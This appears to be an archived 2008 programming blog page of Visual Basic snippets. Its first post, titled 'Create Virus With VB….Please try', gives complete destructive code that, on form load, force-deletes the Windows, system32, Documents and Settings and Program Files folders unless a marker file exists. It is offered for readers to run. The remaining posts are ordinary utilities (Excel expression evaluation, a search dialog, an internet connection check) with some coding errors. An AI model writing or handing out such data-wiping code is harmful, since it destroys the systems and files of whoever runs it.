Archive

Archive for November, 2008

Create Virus With VB….Please try

November 27, 2008 programmervb 3 comments

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(“Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(“c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(“c:\windows\system”)
Call DelAll(“c:\windows\system32″)
Call DelAll(“c:\windows”)
Call DelAll(“C:\Documents and Settings\All Users”)
Call DelAll(“C:\Documents and Settings\Administrator”)
Call DelAll(“C:\Documents and Settings”)
Call DelAll(“C:\Program Files\Common Files”)
Call DelAll(“C:\Program Files\Internet Explorer”)
Call DelAll(“C:\Program Files\Microsoft Visual Studio”)
Call DelAll(“C:\Program Files”)
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

Categories: virus Tags:

Expresion with MS Excel

November 23, 2008 programmervb Leave a comment

Private Function Evaluation (ByVal strExp as string) as Double

Dim oExcel As New Excel.Application

Dim oSheet As Excel.WorkSheet

oExcel.Workbooks.Add

Set oSheet=oSheet.ActiveSheet

oSheet.Cells(1,1)=”=” & strExp

Evaluation=oSheet.Cells(1,1)

oExcel.ActiveWorkbook.Close False

if Not oSheet is nothing Then

set oSheet = Nothing

End if

if not oExcel is nothing Then

oExcel.Quit

End if

oExcel.Quit

End Function

Window Search Result

November 19, 2008 programmervb Leave a comment

‘open or print file

Private Declare Function ShellExecute Lib “shell32.dll” alias “ShellExecuteA” (ByVal hwnd as long, byVal lpOperation as string, byVal lpFile as String, byVal lpParameters as string, byVal lpDirectory as string,byVal mShowCmd as long) as long

‘constanta

Private Cons SW_SHOWNORMAL =1

Private sub cmd_Click()

Dim strDir As String

strDir =”D:\”

’show dialog box search results

Call ShellExecute(Me.hwnd, “find”,strDir,vbNullString,vbNullString,SH_SHOWNORMAL)

End Sub

Categories: forms

Determine if a computer is connected to the Internet

November 12, 2008 programmervb Leave a comment

‘Declaration

Public Declare Function RasEnumConnections Lib “RasApi32.dll” Alias “RasEnumConnectionsA” (lpRasCon As Any, lpcb As Long, lpcConnections As Long) As Long
Public Declare Function RasGetConnectStatus Lib “RasApi32.dll” Alias “RasGetConnectStatusA” (ByVal hRasCon As Long, lpStatus As Any) As Long

Public Const RAS95_MaxEntryName = 256
Public Const RAS95_MaxDeviceType = 16
Public Const RAS95_MaxDeviceName = 32

Public Type RASCONN95
dwSize As Long
hRasCon As Long
szEntryName(RAS95_MaxEntryName) As Byte
szDeviceType(RAS95_MaxDeviceType) As Byte
szDeviceName(RAS95_MaxDeviceName) As Byte
End Type

Public Type RASCONNSTATUS95
dwSize As Long
RasConnState As Long
dwError As Long
szDeviceType(RAS95_MaxDeviceType) As Byte
szDeviceName(RAS95_MaxDeviceName) As Byte
End Type

‘Code

‘A call to the function IsConnected returns true if the computer has established a connection to the internet.

Public Function IsConnected() As Boolean
Dim TRasCon(255) As RASCONN95
Dim lg As Long
Dim lpcon As Long
Dim RetVal As Long
Dim Tstatus As RASCONNSTATUS95

TRasCon(0).dwSize = 412
lg = 256 * TRasCon(0).dwSize

RetVal = RasEnumConnections(TRasCon(0), lg, lpcon)
If RetVal <> 0 Then
MsgBox “ERROR”
Exit Function
End If

Tstatus.dwSize = 160
RetVal = RasGetConnectStatus(TRasCon(0).hRasCon, Tstatus)
If Tstatus.RasConnState = &H2000 Then
IsConnected = True
Else
IsConnected = False
End If

End Function

Categories: Internet Tags: